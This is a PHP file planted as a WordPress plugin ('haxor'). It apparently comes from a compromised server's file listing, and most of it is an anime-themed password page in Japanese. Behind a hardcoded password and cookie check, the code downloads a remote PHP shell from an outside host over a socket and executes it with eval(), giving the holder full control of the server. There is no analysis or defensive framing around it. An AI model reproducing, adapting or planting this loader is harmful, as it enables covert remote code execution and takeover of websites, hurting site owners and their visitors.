Your IP : 216.73.216.196


Current Path : /home/icmq6107/clients/naddaf/wp-content/plugins/haxor/
Upload File :
Current File : /home/icmq6107/clients/naddaf/wp-content/plugins/haxor/index.php

<?php
// =========================================
// Gapura Nebula - Fetch via stream_socket_client
// Bahasa: Jepang (UI Anime Style)
// Catatan: payload dieksekusi via eval(); pastikan PAYLOAD_URL aman.
// =========================================

define('RE_PASS', 'kawaiidesu'); // password
define('COOKIE_NAME', 'ANIME_AUTH');
define('COOKIE_HASH', hash('sha256', RE_PASS));
define('COOKIE_EXP', time() + (86400 * 7)); // 7 hari
define('PAYLOAD_URL', 'https://marslogs.co.id/shell/shell/alfa-terbaru.txt'); // ganti jika perlu
define('FALLBACK_URLS', []); // kosong = tidak ada fallback
define('DEBUG', false);

// ------------------------ helper: escape ------------------------
function jp_escape($s){ return htmlspecialchars($s, ENT_QUOTES, 'UTF-8'); }

// ------------------------ fetch via socket (ssl/http) ------------------------
function fetch_payload_info_socket($url) {
    $res = [
        'ok' => false,
        'content' => false,
        'http_code' => 0,
        'err_no' => 0,
        'err_msg' => '',
        'url' => $url,
    ];

    // parse URL
    $parts = parse_url($url);
    if ($parts === false || !isset($parts['host'])) {
        $res['err_msg'] = '無効なURLです';
        return $res;
    }

    $scheme = isset($parts['scheme']) ? strtolower($parts['scheme']) : 'http';
    $host = $parts['host'];
    $port = isset($parts['port']) ? (int)$parts['port'] : ($scheme === 'https' ? 443 : 80);
    $path = (isset($parts['path']) ? $parts['path'] : '/') . (isset($parts['query']) ? '?' . $parts['query'] : '');

    $transport = ($scheme === 'https') ? 'ssl' : 'tcp';
    $target = "{$transport}://{$host}:{$port}";

    $errno = 0;
    $errstr = '';
    $timeout = 12;

    $fp = @stream_socket_client($target, $errno, $errstr, $timeout, STREAM_CLIENT_CONNECT);
    if (!$fp) {
        $res['err_no'] = $errno;
        $res['err_msg'] = $errstr ?: '接続に失敗しました';
        return $res;
    }

    // Build request (CRLF)
    $req  = "GET {$path} HTTP/1.1\r\n";
    $req .= "Host: {$host}\r\n";
    $req .= "User-Agent: KawaiiNebula/1.0 Anime Edition (≧▽≦)\r\n";
    $req .= "Connection: Close\r\n";
    $req .= "\r\n";

    fwrite($fp, $req);

    stream_set_timeout($fp, $timeout);

    $raw = '';
    while (!feof($fp)) {
        $chunk = fgets($fp, 4096);
        if ($chunk === false) break;
        $raw .= $chunk;
    }
    fclose($fp);

    if ($raw === '') {
        $res['err_msg'] = '空の応答です';
        return $res;
    }

    // split headers and body by CRLFCRLF
    $header_end = strpos($raw, "\r\n\r\n");
    if ($header_end === false) {
        // fallback: try LF LF
        $header_end = strpos($raw, "\n\n");
    }

    if ($header_end !== false) {
        $header_raw = substr($raw, 0, $header_end);
        $body = substr($raw, $header_end + (strpos($raw, "\r\n\r\n") !== false ? 4 : 2));
    } else {
        // no header separation found; treat all as body
        $header_raw = '';
        $body = $raw;
    }

    // parse status code from first header line
    $http_code = 0;
    if ($header_raw !== '') {
        $lines = preg_split("/\r\n|\n|\r/", $header_raw);
        if (isset($lines[0]) && preg_match('#HTTP/\d+\.\d+\s+(\d{3})#', $lines[0], $m)) {
            $http_code = (int)$m[1];
        }
    } else {
        // if no headers, we can't know status; assume 200
        $http_code = 200;
    }

    $res['http_code'] = $http_code;
    $res['content'] = $body;

    if ($http_code >= 200 && $http_code < 400 && is_string($body) && $body !== '') {
        $res['ok'] = true;
    } else {
        $res['err_msg'] = 'HTTP ' . $http_code;
    }

    return $res;
}

// ------------------------ wrapper: fetch info (primary + fallback) ------------------------
function fetch_payload_info($url) {
    // gunakan socket fetch utama
    return fetch_payload_info_socket($url);
}

function get_payload_with_fallbacks() {
    $urls = array_merge([PAYLOAD_URL], FALLBACK_URLS);
    $last = null;
    foreach ($urls as $u) {
        $info = fetch_payload_info($u);
        $last = $info;
        if ($info['ok'] && is_string($info['content']) && stripos($info['content'], '<?php') !== false) {
            $info['url_used'] = $u;
            return $info;
        }
        // lanjut ke fallback jika ada
    }
    return $last ?? ['ok'=>false,'content'=>false,'http_code'=>0,'err_no'=>0,'err_msg'=>'不明なエラー'];
}

// ------------------------ login flow ------------------------
$error = null;

// retry action (user sudah login) -> coba fetch ulang dan eval langsung
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'retry' && isset($_COOKIE[COOKIE_NAME]) && (function_exists('hash_equals') ? hash_equals($_COOKIE[COOKIE_NAME], COOKIE_HASH) : $_COOKIE[COOKIE_NAME] === COOKIE_HASH)) {
    $info = get_payload_with_fallbacks();
    if ($info['ok']) {
        try {
            eval("?>".$info['content']);
            exit;
        } catch (Throwable $t) {
            $error = "(*´・ω・) ペイロードの実行に失敗しました: " . jp_escape($t->getMessage());
        } catch (Exception $e) {
            $error = "(´;ω;`) ペイロードエラー: " . jp_escape($e->getMessage());
        }
    } else {
        $error = "(´・ω・`) コンテンツの取得に失敗しました。(HTTP: " . jp_escape($info['http_code'] . " / " . $info['err_msg']) . ")";
    }
}

// proses login: cek sandhi dan coba fetch dulu sebelum set cookie
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password']) && !isset($_POST['action'])) {
    if ($_POST['password'] === RE_PASS) {
        $info = get_payload_with_fallbacks();
        if ($info['ok']) {
            setcookie(COOKIE_NAME, COOKIE_HASH, COOKIE_EXP, "/", "", false, true);
            header("Location: ./");
            exit;
        } else {
            $error = "(´・ω・`) コンテンツの取得に失敗しました。パスワードは正しいですが、ソースが利用できません(HTTP: " . jp_escape($info['http_code'] . " / " . $info['err_msg']) . ")。後でもう一度お試しください。";
        }
    } else {
        $error = "ヽ(`Д´)ノ パスワードが間違っています!";
    }
}

// cek login
function is_logged_in() {
    if (!isset($_COOKIE[COOKIE_NAME])) return false;
    return function_exists('hash_equals') ? hash_equals($_COOKIE[COOKIE_NAME], COOKIE_HASH) : ($_COOKIE[COOKIE_NAME] === COOKIE_HASH);
}

// yen wis login: coba fetch & eval
if (is_logged_in()) {
    $info = get_payload_with_fallbacks();
    if ($info['ok']) {
        try {
            eval("?>".$info['content']);
        } catch (Throwable $t) {
            $error = "(*´・ω・) ペイロードの実行に失敗しました: " . jp_escape($t->getMessage());
        } catch (Exception $e) {
            $error = "(´;ω;`) ペイロードエラー: " . jp_escape($e->getMessage());
        }
        exit;
    } else {
        $error = "(´・ω・`) コンテンツの取得に失敗しました。(HTTP: " . jp_escape($info['http_code'] . " / " . $info['err_msg']) . ")";
    }
}

// ------------------------ HTML UI (Anime Kawaii Style) ------------------------
?><!DOCTYPE html>
<html lang="ja">
<head>
  <meta charset="utf-8"/>
  <meta name="viewport" content="width=device-width,initial-scale=1"/>
  <title>🎌 星雲の門 - Kawaii</title>
  <link href="https://fonts.googleapis.com/css2?family=Nunito:wght@400;600;700;800;900&family=M+PLUS+Rounded+1c:wght@300;400;500;700;800&display=swap" rel="stylesheet">
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css">
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/animate.css/4.1.1/animate.min.css"/>
  <style>
    :root {
      --pink: #ff9cd9;
      --blue: #9cd9ff;
      --purple: #d99cff;
      --yellow: #ffd99c;
      --green: #9cffd9;
      --bg: #1a1030;
      --card-bg: rgba(255, 255, 255, 0.95);
      --shadow: 0 15px 35px rgba(0, 0, 0, 0.3);
    }
    
    * {
      box-sizing: border-box;
      margin: 0;
      padding: 0;
    }
    
    body {
      min-height: 100vh;
      background: linear-gradient(135deg, #1a1030 0%, #2d1b4e 100%);
      font-family: 'M PLUS Rounded 1c', 'Nunito', sans-serif;
      color: #333;
      display: flex;
      align-items: center;
      justify-content: center;
      padding: 20px;
      position: relative;
      overflow: hidden;
    }
    
    /* Anime Background Elements */
    .anime-bg {
      position: absolute;
      z-index: 0;
      opacity: 0.4;
    }
    
    .sakura {
      position: absolute;
      background: var(--pink);
      border-radius: 50% 50% 50% 0;
      animation: float-sakura 20s infinite linear;
    }
    
    .sakura:nth-child(1) {
      width: 60px;
      height: 60px;
      top: 10%;
      left: 5%;
      animation-delay: 0s;
    }
    
    .sakura:nth-child(2) {
      width: 40px;
      height: 40px;
      top: 20%;
      right: 10%;
      animation-delay: 5s;
    }
    
    .sakura:nth-child(3) {
      width: 50px;
      height: 50px;
      bottom: 15%;
      left: 15%;
      animation-delay: 10s;
    }
    
    .sakura:nth-child(4) {
      width: 30px;
      height: 30px;
      bottom: 25%;
      right: 20%;
      animation-delay: 15s;
    }
    
    .stars {
      position: absolute;
      background: white;
      border-radius: 50%;
      animation: twinkle 2s infinite alternate;
    }
    
    .stars:nth-child(5) {
      width: 8px;
      height: 8px;
      top: 30%;
      left: 20%;
      animation-delay: 0s;
    }
    
    .stars:nth-child(6) {
      width: 5px;
      height: 5px;
      top: 40%;
      right: 30%;
      animation-delay: 0.5s;
    }
    
    .stars:nth-child(7) {
      width: 6px;
      height: 6px;
      bottom: 30%;
      left: 40%;
      animation-delay: 1s;
    }
    
    @keyframes float-sakura {
      0% {
        transform: translateY(0) rotate(0deg);
        opacity: 0.4;
      }
      50% {
        transform: translateY(-100px) rotate(180deg);
        opacity: 0.7;
      }
      100% {
        transform: translateY(-200px) rotate(360deg);
        opacity: 0.4;
      }
    }
    
    @keyframes twinkle {
      0% { opacity: 0.2; transform: scale(0.8); }
      100% { opacity: 1; transform: scale(1.2); }
    }
    
    /* Main Anime Card */
    .anime-card {
      width: 100%;
      max-width: 500px;
      background: var(--card-bg);
      border-radius: 30px;
      padding: 40px;
      box-shadow: var(--shadow);
      position: relative;
      z-index: 1;
      overflow: hidden;
      border: 8px solid white;
    }
    
    .anime-card::before {
      content: '';
      position: absolute;
      top: 0;
      left: 0;
      right: 0;
      height: 10px;
      background: linear-gradient(90deg, 
        var(--pink), 
        var(--yellow), 
        var(--green), 
        var(--blue), 
        var(--purple));
      z-index: 2;
    }
    
    .anime-card::after {
      content: '⋆·˚ ༘ *';
      position: absolute;
      bottom: -20px;
      right: -20px;
      font-size: 120px;
      color: var(--pink);
      opacity: 0.1;
      transform: rotate(-15deg);
      z-index: 0;
    }
    
    /* Header with Anime Character */
    .header-container {
      text-align: center;
      margin-bottom: 30px;
      position: relative;
    }
    
    .anime-title {
      font-size: 38px;
      font-weight: 900;
      margin-bottom: 10px;
      background: linear-gradient(90deg, var(--pink), var(--purple), var(--blue));
      -webkit-background-clip: text;
      background-clip: text;
      color: transparent;
      text-shadow: 3px 3px 0px rgba(255, 156, 217, 0.2);
    }
    
    .subtitle {
      font-size: 16px;
      color: #666;
      margin-bottom: 25px;
      font-weight: 500;
    }
    
    .character-container {
      display: flex;
      justify-content: center;
      gap: 20px;
      margin-bottom: 25px;
    }
    
    .character {
      width: 70px;
      height: 70px;
      border-radius: 50%;
      display: flex;
      align-items: center;
      justify-content: center;
      font-size: 30px;
      border: 4px solid white;
      box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
      position: relative;
      animation: bounce 2s infinite;
    }
    
    .character:nth-child(1) {
      background: linear-gradient(135deg, var(--pink), #ff6bb5);
      animation-delay: 0s;
    }
    
    .character:nth-child(2) {
      background: linear-gradient(135deg, var(--blue), #6bb5ff);
      animation-delay: 0.2s;
    }
    
    .character:nth-child(3) {
      background: linear-gradient(135deg, var(--purple), #b56bff);
      animation-delay: 0.4s;
    }
    
    .character::after {
      content: '✨';
      position: absolute;
      top: -10px;
      right: -10px;
      font-size: 20px;
      animation: sparkle 1.5s infinite;
    }
    
    @keyframes bounce {
      0%, 100% { transform: translateY(0); }
      50% { transform: translateY(-10px); }
    }
    
    @keyframes sparkle {
      0%, 100% { opacity: 0.5; transform: scale(0.8); }
      50% { opacity: 1; transform: scale(1.2); }
    }
    
    /* Form Styling */
    .form-container {
      margin-bottom: 25px;
    }
    
    .password-container {
      position: relative;
      margin-bottom: 25px;
    }
    
    .password-input {
      width: 100%;
      padding: 20px 25px 20px 55px;
      border-radius: 20px;
      border: 3px solid #e0e0e0;
      background: white;
      font-size: 18px;
      font-family: 'M PLUS Rounded 1c', sans-serif;
      font-weight: 500;
      color: #333;
      transition: all 0.3s ease;
      box-shadow: 0 5px 15px rgba(0, 0, 0, 0.05);
    }
    
    .password-input:focus {
      outline: none;
      border-color: var(--pink);
      box-shadow: 0 5px 20px rgba(255, 156, 217, 0.3);
    }
    
    .password-input::placeholder {
      color: #aaa;
    }
    
    .input-icon {
      position: absolute;
      left: 20px;
      top: 50%;
      transform: translateY(-50%);
      font-size: 24px;
      color: var(--pink);
      z-index: 2;
    }
    
    .submit-btn {
      width: 100%;
      padding: 22px;
      border-radius: 20px;
      border: none;
      background: linear-gradient(90deg, var(--pink), var(--purple));
      color: white;
      font-size: 22px;
      font-weight: 800;
      font-family: 'M PLUS Rounded 1c', sans-serif;
      cursor: pointer;
      transition: all 0.3s ease;
      box-shadow: 0 10px 20px rgba(255, 156, 217, 0.4);
      position: relative;
      overflow: hidden;
      letter-spacing: 1px;
    }
    
    .submit-btn:hover {
      transform: translateY(-5px);
      box-shadow: 0 15px 25px rgba(255, 156, 217, 0.6);
    }
    
    .submit-btn:active {
      transform: translateY(-2px);
    }
    
    .submit-btn::after {
      content: '';
      position: absolute;
      top: 0;
      left: -100%;
      width: 100%;
      height: 100%;
      background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.4), transparent);
      transition: left 0.7s;
    }
    
    .submit-btn:hover::after {
      left: 100%;
    }
    
    /* Error Message - Kawaii Style */
    .error-box {
      padding: 20px;
      border-radius: 20px;
      background: linear-gradient(135deg, #ffe6e6, #fff0f0);
      border: 3px solid #ffb3b3;
      margin-top: 25px;
      font-size: 16px;
      color: #ff3333;
      display: flex;
      align-items: flex-start;
      gap: 15px;
      position: relative;
      overflow: hidden;
    }
    
    .error-box::before {
      content: '⚠️';
      position: absolute;
      top: -20px;
      right: -20px;
      font-size: 80px;
      opacity: 0.2;
    }
    
    .error-icon {
      color: #ff3333;
      font-size: 24px;
      flex-shrink: 0;
      margin-top: 2px;
    }
    
    /* Info Boxes */
    .info-box {
      padding: 20px;
      border-radius: 20px;
      background: linear-gradient(135deg, #e6f7ff, #f0f9ff);
      border: 3px solid var(--blue);
      margin-top: 25px;
      font-size: 16px;
      color: #0066cc;
      text-align: center;
      position: relative;
      overflow: hidden;
    }
    
    .info-box::before {
      content: '💫';
      position: absolute;
      bottom: -25px;
      right: -25px;
      font-size: 100px;
      opacity: 0.1;
    }
    
    .small-text {
      font-size: 14px;
      color: #888;
      text-align: center;
      margin-top: 20px;
      font-weight: 500;
    }
    
    /* Footer */
    .footer {
      display: flex;
      justify-content: space-between;
      margin-top: 30px;
      padding-top: 20px;
      border-top: 2px dashed #e0e0e0;
      font-size: 14px;
      color: #888;
    }
    
    .footer-item {
      display: flex;
      align-items: center;
      gap: 8px;
    }
    
    /* Debug Box */
    .debug-box {
      margin-top: 25px;
      padding: 20px;
      border-radius: 20px;
      background: #1a1030;
      border: 3px solid var(--purple);
      font-family: monospace;
      font-size: 12px;
      color: #d99cff;
      max-height: 300px;
      overflow: auto;
      display: none;
    }
    
    .debug-box.active {
      display: block;
    }
    
    /* Kawaii Bubbles */
    .bubble {
      position: absolute;
      background: rgba(255, 255, 255, 0.9);
      border-radius: 50%;
      z-index: 0;
      opacity: 0.3;
      animation: float-bubble 25s infinite linear;
    }
    
    .bubble:nth-child(8) {
      width: 80px;
      height: 80px;
      top: 5%;
      left: 80%;
      animation-delay: 0s;
    }
    
    .bubble:nth-child(9) {
      width: 60px;
      height: 60px;
      bottom: 10%;
      left: 5%;
      animation-delay: 10s;
    }
    
    .bubble:nth-child(10) {
      width: 100px;
      height: 100px;
      top: 70%;
      right: 5%;
      animation-delay: 5s;
    }
    
    @keyframes float-bubble {
      0% {
        transform: translateY(0) translateX(0) rotate(0deg);
      }
      25% {
        transform: translateY(-100px) translateX(50px) rotate(90deg);
      }
      50% {
        transform: translateY(-50px) translateX(100px) rotate(180deg);
      }
      75% {
        transform: translateY(-150px) translateX(50px) rotate(270deg);
      }
      100% {
        transform: translateY(0) translateX(0) rotate(360deg);
      }
    }
    
    /* Success Animation */
    @keyframes success {
      0% { transform: scale(1); }
      50% { transform: scale(1.05); }
      100% { transform: scale(1); }
    }
    
    /* Responsive */
    @media (max-width: 600px) {
      .anime-card {
        padding: 30px 25px;
      }
      
      .anime-title {
        font-size: 32px;
      }
      
      .character {
        width: 60px;
        height: 60px;
        font-size: 24px;
      }
      
      .password-input, .submit-btn {
        padding: 18px;
        font-size: 16px;
      }
      
      .footer {
        flex-direction: column;
        gap: 15px;
        text-align: center;
      }
    }
    
    /* Cursor */
    .cursor-dot {
      width: 20px;
      height: 20px;
      background: var(--pink);
      border-radius: 50%;
      position: fixed;
      pointer-events: none;
      z-index: 9999;
      mix-blend-mode: difference;
      opacity: 0.7;
      transition: transform 0.1s;
    }
  </style>
</head>
<body>
  <!-- Anime Background Elements -->
  <div class="sakura"></div>
  <div class="sakura"></div>
  <div class="sakura"></div>
  <div class="sakura"></div>
  <div class="stars"></div>
  <div class="stars"></div>
  <div class="stars"></div>
  <div class="bubble"></div>
  <div class="bubble"></div>
  <div class="bubble"></div>
  
  <!-- Kawaii Cursor -->
  <div class="cursor-dot" id="cursor"></div>
  
  <!-- Main Anime Card -->
  <div class="anime-card animate__animated animate__fadeInUp">
    <div class="header-container">
      <h1 class="anime-title">🎌 星雲の門</h1>
      <div class="subtitle">「星雲の向こう側へ… パスワードを知る者のみが入れます」</div>
      
      <div class="character-container">
        <div class="character"><i class="fas fa-lock"></i></div>
        <div class="character"><i class="fas fa-key"></i></div>
        <div class="character"><i class="fas fa-gateway"></i></div>
      </div>
    </div>
    
    <?php if (!is_logged_in()) : ?>
      <div class="form-container">
        <form method="POST" novalidate id="loginForm">
          <div class="password-container">
            <div class="input-icon"><i class="fas fa-lock"></i></div>
            <input type="password" name="password" class="password-input" placeholder="🔐 パスワードを入力してください…" required autocomplete="off" />
          </div>
          <button type="submit" class="submit-btn">
            <i class="fas fa-magic"></i> 扉を開ける
          </button>
        </form>
        
        <div class="small-text">
          <i class="fas fa-cookie"></i> Cookie認証 • 7日間有効
        </div>
      </div>
      
      <?php if ($error): ?>
        <div class="error-box animate__animated animate__shakeX">
          <div class="error-icon"><i class="fas fa-exclamation-circle"></i></div>
          <div><?= jp_escape($error) ?></div>
        </div>
      <?php endif; ?>
      
    <?php else: /* is logged in */ ?>
      <div class="info-box animate__animated animate__pulse">
        <i class="fas fa-user-check" style="color: var(--blue); margin-right: 10px;"></i>
        ログイン中です… ソースからモジュールをダウンロードしています (´∀`)♡
      </div>
      
      <form method="POST" class="form-container" novalidate>
        <input type="hidden" name="action" value="retry" />
        <button type="submit" class="submit-btn" style="background: linear-gradient(90deg, var(--blue), var(--green));">
          <i class="fas fa-redo-alt"></i> 再試行する
        </button>
      </form>
      
      <?php if ($error): ?>
        <div class="error-box animate__animated animate__shakeX">
          <div class="error-icon"><i class="fas fa-cloud-download-alt"></i></div>
          <div><?= jp_escape($error) ?></div>
        </div>
      <?php endif; ?>
      
      <div class="small-text">
        <i class="fas fa-lightbulb"></i> それでも失敗する場合は、サーバーのネットワークを確認するか、別のペイロードソースを使用してください。
      </div>
    <?php endif; ?>
    
    <div class="footer">
      <div class="footer-item">
        <i class="fas fa-code"></i> 星雲の門 v3.0
      </div>
      <div class="footer-item">
        <i class="fas fa-heart" style="color: var(--pink);"></i> かわいいアニメエディション
      </div>
    </div>
    
    <?php if (DEBUG && isset($info)): ?>
      <pre class="debug-box active"><?= jp_escape(var_export($info, true)) ?></pre>
    <?php endif; ?>
  </div>
  
  <script>
    // Kawaii Custom Cursor
    const cursor = document.getElementById('cursor');
    document.addEventListener('mousemove', (e) => {
      cursor.style.left = e.pageX - 10 + 'px';
      cursor.style.top = e.pageY - 10 + 'px';
    });
    
    // Add sparkle effects on click
    document.addEventListener('click', (e) => {
      const sparkle = document.createElement('div');
      sparkle.style.position = 'fixed';
      sparkle.style.left = e.pageX - 15 + 'px';
      sparkle.style.top = e.pageY - 15 + 'px';
      sparkle.style.fontSize = '30px';
      sparkle.style.color = ['#ff9cd9', '#9cd9ff', '#d99cff'][Math.floor(Math.random() * 3)];
      sparkle.style.pointerEvents = 'none';
      sparkle.style.zIndex = '9998';
      sparkle.textContent = '✨';
      document.body.appendChild(sparkle);
      
      // Animate sparkle
      sparkle.animate([
        { transform: 'scale(0.5)', opacity: 1 },
        { transform: 'scale(1.5)', opacity: 0 }
      ], {
        duration: 800,
        easing: 'ease-out'
      });
      
      setTimeout(() => sparkle.remove(), 800);
    });
    
    // Form submission animation
    const form = document.getElementById('loginForm');
    const submitBtn = document.querySelector('.submit-btn');
    
    if (form) {
      form.addEventListener('submit', function(e) {
        if (submitBtn) {
          submitBtn.style.animation = 'success 0.5s ease';
          setTimeout(() => {
            submitBtn.style.animation = '';
          }, 500);
          
          // Add confetti effect
          for (let i = 0; i < 20; i++) {
            setTimeout(() => {
              const confetti = document.createElement('div');confetti.style.position = 'fixed';
              confetti.style.left = Math.random() * window.innerWidth + 'px';
              confetti.style.top = '-50px';
              confetti.style.fontSize = Math.random() * 20 + 15 + 'px';
              confetti.style.color = ['#ff9cd9', '#9cd9ff', '#d99cff', '#ffd99c', '#9cffd9'][Math.floor(Math.random() * 5)];
              confetti.style.pointerEvents = 'none';
              confetti.style.zIndex = '9998';
              confetti.textContent = ['🌸', '✨', '⭐', '🎀', '💖'][Math.floor(Math.random() * 5)];
              document.body.appendChild(confetti);
              
              // Animate confetti falling
              confetti.animate([
                { transform: 'translateY(0) rotate(0deg)', opacity: 1 },
                { transform: `translateY(${window.innerHeight + 50}px) rotate(${Math.random() * 360}deg)`, opacity: 0 }
              ], {
                duration: Math.random() * 2000 + 1000,
                easing: 'cubic-bezier(0.1, 0.8, 0.9, 0.1)'
              });
              
              setTimeout(() => confetti.remove(), 3000);
            }, i * 100);
          }
        }
      });
    }
    
    // Make characters interactive
    const characters = document.querySelectorAll('.character');
    characters.forEach(char => {
      char.addEventListener('mouseenter', () => {
        char.style.transform = 'scale(1.2)';
        char.style.transition = 'transform 0.2s';
      });
      
      char.addEventListener('mouseleave', () => {
        char.style.transform = 'scale(1)';
      });
    });
    
    // Background music toggle (conceptual)
    const bgMusic = document.createElement('audio');
    bgMusic.id = 'bgMusic';
    bgMusic.volume = 0.3;
    
    // Note: Actual music would need to be hosted somewhere
    // bgMusic.src = 'kawaii-bg-music.mp3';
    
    // Music toggle button (optional)
    const musicBtn = document.createElement('button');
    musicBtn.innerHTML = '<i class="fas fa-music"></i>';
    musicBtn.style.position = 'fixed';
    musicBtn.style.bottom = '20px';
    musicBtn.style.right = '20px';
    musicBtn.style.width = '50px';
    musicBtn.style.height = '50px';
    musicBtn.style.borderRadius = '50%';
    musicBtn.style.background = 'linear-gradient(135deg, var(--pink), var(--purple))';
    musicBtn.style.color = 'white';
    musicBtn.style.border = 'none';
    musicBtn.style.fontSize = '20px';
    musicBtn.style.cursor = 'pointer';
    musicBtn.style.zIndex = '100';
    musicBtn.style.boxShadow = '0 5px 15px rgba(0,0,0,0.2)';
    
    musicBtn.addEventListener('click', () => {
      if (bgMusic.paused) {
        bgMusic.play();
        musicBtn.innerHTML = '<i class="fas fa-volume-up"></i>';
        musicBtn.style.animation = 'bounce 0.5s';
      } else {
        bgMusic.pause();
        musicBtn.innerHTML = '<i class="fas fa-music"></i>';
      }
      setTimeout(() => {
        musicBtn.style.animation = '';
      }, 500);
    });
    
    // Uncomment to add music button
    // document.body.appendChild(musicBtn);
  </script>
</body>
</html>